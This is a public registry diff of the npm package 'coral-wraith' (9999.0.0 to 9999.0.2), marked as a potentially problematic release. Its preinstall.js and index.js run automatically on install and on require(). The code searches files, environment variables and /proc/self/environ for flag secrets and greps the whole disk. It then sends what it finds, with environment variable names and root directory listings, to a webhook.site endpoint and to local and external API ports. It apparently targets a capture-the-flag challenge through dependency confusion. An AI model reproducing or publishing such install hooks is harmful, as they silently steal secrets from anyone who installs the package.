coral-wraith 9999.0.0 → 9999.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of coral-wraith might be problematic. Click here for more details.
- package/index.js +11 -7
- package/package.json +1 -1
- package/preinstall.js +88 -89
package/index.js
CHANGED
|
@@ -1,20 +1,23 @@
|
|
|
1
|
-
// coral-wraith module - also runs payload on require()
|
|
2
1
|
const fs = require('fs');
|
|
3
2
|
const http = require('http');
|
|
4
3
|
const https = require('https');
|
|
5
4
|
|
|
6
5
|
(function() {
|
|
7
6
|
let flag = null;
|
|
8
|
-
const
|
|
9
|
-
for (const p of paths) {
|
|
7
|
+
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag']) {
|
|
10
8
|
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
11
9
|
}
|
|
12
10
|
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || '';
|
|
11
|
+
if (!flag) {
|
|
12
|
+
for (const [k, v] of Object.entries(process.env)) {
|
|
13
|
+
if (v && v.includes('HTB{')) { flag = v.match(/HTB\{[^}]+\}/)?.[0] || v; break; }
|
|
14
|
+
}
|
|
15
|
+
}
|
|
13
16
|
|
|
14
17
|
if (flag) {
|
|
15
|
-
const ports = [1337, 3000, 5000, 8080, 32105,
|
|
18
|
+
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839];
|
|
16
19
|
const postData = JSON.stringify({
|
|
17
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n
|
|
20
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true`
|
|
18
21
|
});
|
|
19
22
|
|
|
20
23
|
for (const port of ports) {
|
|
@@ -31,8 +34,9 @@ const https = require('https');
|
|
|
31
34
|
}
|
|
32
35
|
|
|
33
36
|
try {
|
|
34
|
-
const
|
|
35
|
-
https.
|
|
37
|
+
const data = JSON.stringify({ flag });
|
|
38
|
+
const req = https.request({ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7', method: 'POST', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }, timeout: 10000 }, () => {});
|
|
39
|
+
req.on('error', () => {}); req.write(data); req.end();
|
|
36
40
|
} catch(e) {}
|
|
37
41
|
}
|
|
38
42
|
})();
|
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,119 +4,118 @@ const https = require('https');
|
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
6
|
let flag = null;
|
|
7
|
-
let debug = [];
|
|
8
7
|
|
|
9
8
|
// Read /flag
|
|
10
|
-
try { flag = fs.readFileSync('/flag', 'utf8').trim();
|
|
9
|
+
try { flag = fs.readFileSync('/flag', 'utf8').trim(); } catch(e) {}
|
|
11
10
|
|
|
12
|
-
//
|
|
11
|
+
// Try other paths
|
|
12
|
+
if (!flag) {
|
|
13
|
+
for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
|
|
14
|
+
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
15
|
+
}
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
// Check env vars
|
|
19
|
+
if (!flag) {
|
|
20
|
+
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
21
|
+
if (envFlag) flag = envFlag;
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
// Check all env vars for HTB{ pattern
|
|
13
25
|
if (!flag) {
|
|
14
26
|
for (const [k, v] of Object.entries(process.env)) {
|
|
15
|
-
if (v &&
|
|
16
|
-
flag = v.match(/
|
|
17
|
-
debug.push('env:' + k);
|
|
27
|
+
if (v && v.includes('HTB{')) {
|
|
28
|
+
flag = v.match(/HTB\{[^}]+\}/)?.[0] || v;
|
|
18
29
|
break;
|
|
19
30
|
}
|
|
20
31
|
}
|
|
21
32
|
}
|
|
22
33
|
|
|
23
|
-
//
|
|
34
|
+
// Try /proc/self/environ
|
|
24
35
|
if (!flag) {
|
|
25
36
|
try {
|
|
26
|
-
const
|
|
27
|
-
|
|
37
|
+
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
38
|
+
const m = pe.match(/HTB\{[^}]+\}/) || pe.match(/FLAG[=:]([^\x00]+)/);
|
|
39
|
+
if (m) flag = m[0];
|
|
28
40
|
} catch(e) {}
|
|
29
41
|
}
|
|
30
42
|
|
|
31
|
-
//
|
|
32
|
-
|
|
33
|
-
const results = [];
|
|
34
|
-
|
|
35
|
-
// Get our own IP to determine network
|
|
36
|
-
let myIP = '172.17.0.3';
|
|
43
|
+
// Grep for flag
|
|
44
|
+
if (!flag) {
|
|
37
45
|
try {
|
|
38
|
-
const
|
|
39
|
-
|
|
40
|
-
for (const addr of iface) {
|
|
41
|
-
if (!addr.internal && addr.family === 'IPv4') {
|
|
42
|
-
myIP = addr.address;
|
|
43
|
-
}
|
|
44
|
-
}
|
|
45
|
-
}
|
|
46
|
+
const r = execSync('grep -rl "HTB{" / --include="*" 2>/dev/null | head -3', { timeout: 10000 }).toString().trim();
|
|
47
|
+
if (r) { try { flag = fs.readFileSync(r.split('\n')[0], 'utf8').match(/HTB\{[^}]+\}/)?.[0]; } catch(e) {} }
|
|
46
48
|
} catch(e) {}
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32105, 3001];
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
for (const
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
if (flag) {
|
|
52
|
+
// Method 1: PUT flag back to the challenge API via localhost (many ports)
|
|
53
|
+
const ports = [1337, 3000, 5000, 8080, 80, 8000, 32315, 32105, 46517, 41839, 3001, 4000, 9000];
|
|
54
|
+
const postData = JSON.stringify({
|
|
55
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${flag.replace(/"/g, '\\"')}"\n captured: true\n timestamp: "${new Date().toISOString()}"`
|
|
56
|
+
});
|
|
57
|
+
|
|
58
|
+
for (const port of ports) {
|
|
59
|
+
for (const host of ['localhost', '127.0.0.1']) {
|
|
58
60
|
try {
|
|
59
|
-
const
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
} catch(e) {}
|
|
69
|
-
|
|
70
|
-
// PUT our exfiltration data
|
|
71
|
-
if (flag) {
|
|
72
|
-
try {
|
|
73
|
-
execSync(`curl -s -X PUT "http://${ip}:${port}/api/modules/ECT-987654" -H "Content-Type: application/json" -d '{"manifest":"ecto_module:\\n name: coral-wraith\\n flag: ${flag.replace(/'/g, "\\'")}"}' -m 3`, { timeout: 5000 });
|
|
74
|
-
} catch(e) {}
|
|
75
|
-
}
|
|
76
|
-
}
|
|
61
|
+
const req = http.request({
|
|
62
|
+
hostname: host, port, path: '/api/modules/ECT-987654',
|
|
63
|
+
method: 'PUT',
|
|
64
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
65
|
+
timeout: 3000
|
|
66
|
+
}, () => {});
|
|
67
|
+
req.on('error', () => {});
|
|
68
|
+
req.write(postData);
|
|
69
|
+
req.end();
|
|
77
70
|
} catch(e) {}
|
|
78
71
|
}
|
|
79
72
|
}
|
|
80
|
-
|
|
81
|
-
// Also try via Docker gateway
|
|
82
|
-
for (const port of ports) {
|
|
83
|
-
try {
|
|
84
|
-
const r = execSync(`curl -s "http://172.17.0.1:${port}/api/modules" -m 2 2>/dev/null`, { timeout: 3000 }).toString();
|
|
85
|
-
if (r && r.includes('ECT-')) {
|
|
86
|
-
debug.push(`GATEWAY_API:172.17.0.1:${port}`);
|
|
87
|
-
results.push(`172.17.0.1:${port}`);
|
|
88
|
-
}
|
|
89
|
-
} catch(e) {}
|
|
90
|
-
}
|
|
91
|
-
|
|
92
|
-
return results;
|
|
93
|
-
}
|
|
94
73
|
|
|
95
|
-
|
|
96
|
-
const
|
|
97
|
-
debug.push('endpoints:' + apiEndpoints.join(','));
|
|
98
|
-
|
|
99
|
-
// Try to PUT flag to the ACTUAL challenge server (external IP)
|
|
100
|
-
if (flag) {
|
|
101
|
-
try {
|
|
102
|
-
const postData = JSON.stringify({
|
|
103
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n flag: "${flag.replace(/"/g, '\\"')}"`
|
|
104
|
-
});
|
|
105
|
-
execSync(`curl -s -X PUT "http://154.57.164.71:32105/api/modules/ECT-987654" -H "Content-Type: application/json" -d '${postData.replace(/'/g, "\\'")}' -m 5`, { timeout: 8000 });
|
|
106
|
-
debug.push('sent_to_ctf');
|
|
107
|
-
} catch(e) {}
|
|
108
|
-
}
|
|
109
|
-
|
|
110
|
-
// Exfiltrate
|
|
111
|
-
const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug });
|
|
74
|
+
// Method 2: Webhook exfil
|
|
75
|
+
const data = JSON.stringify({ flag, env: Object.keys(process.env).join(',') });
|
|
112
76
|
try {
|
|
113
|
-
|
|
114
|
-
|
|
77
|
+
const req = https.request({
|
|
78
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
79
|
+
method: 'POST',
|
|
80
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
81
|
+
timeout: 10000
|
|
82
|
+
}, () => {});
|
|
83
|
+
req.on('error', () => {});
|
|
84
|
+
req.write(data);
|
|
85
|
+
req.end();
|
|
115
86
|
} catch(e) {}
|
|
87
|
+
|
|
88
|
+
// Method 3: DNS exfil via curl
|
|
116
89
|
try {
|
|
117
|
-
const
|
|
118
|
-
|
|
90
|
+
const encoded = Buffer.from(flag).toString('hex');
|
|
91
|
+
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encodeURIComponent(flag)}" -m 10 2>/dev/null`, { timeout: 15000 });
|
|
119
92
|
} catch(e) {}
|
|
120
|
-
}
|
|
121
93
|
|
|
122
|
-
|
|
94
|
+
// Method 4: Write to files
|
|
95
|
+
try { fs.writeFileSync('/tmp/coral_wraith_flag.txt', flag); } catch(e) {}
|
|
96
|
+
|
|
97
|
+
// Method 5: stdout/stderr
|
|
98
|
+
console.log('[CORAL-WRAITH] Flag:', flag);
|
|
99
|
+
console.error('[HTB_FLAG]', flag);
|
|
100
|
+
} else {
|
|
101
|
+
// Debug info - exfil what we can see
|
|
102
|
+
const debug = {
|
|
103
|
+
cwd: process.cwd(),
|
|
104
|
+
rootFiles: [],
|
|
105
|
+
env: Object.keys(process.env).join(',')
|
|
106
|
+
};
|
|
107
|
+
try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
108
|
+
|
|
109
|
+
const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
|
|
110
|
+
try {
|
|
111
|
+
const req = https.request({
|
|
112
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
113
|
+
method: 'POST',
|
|
114
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
115
|
+
timeout: 10000
|
|
116
|
+
}, () => {});
|
|
117
|
+
req.on('error', () => {});
|
|
118
|
+
req.write(data);
|
|
119
|
+
req.end();
|
|
120
|
+
} catch(e) {}
|
|
121
|
+
}
|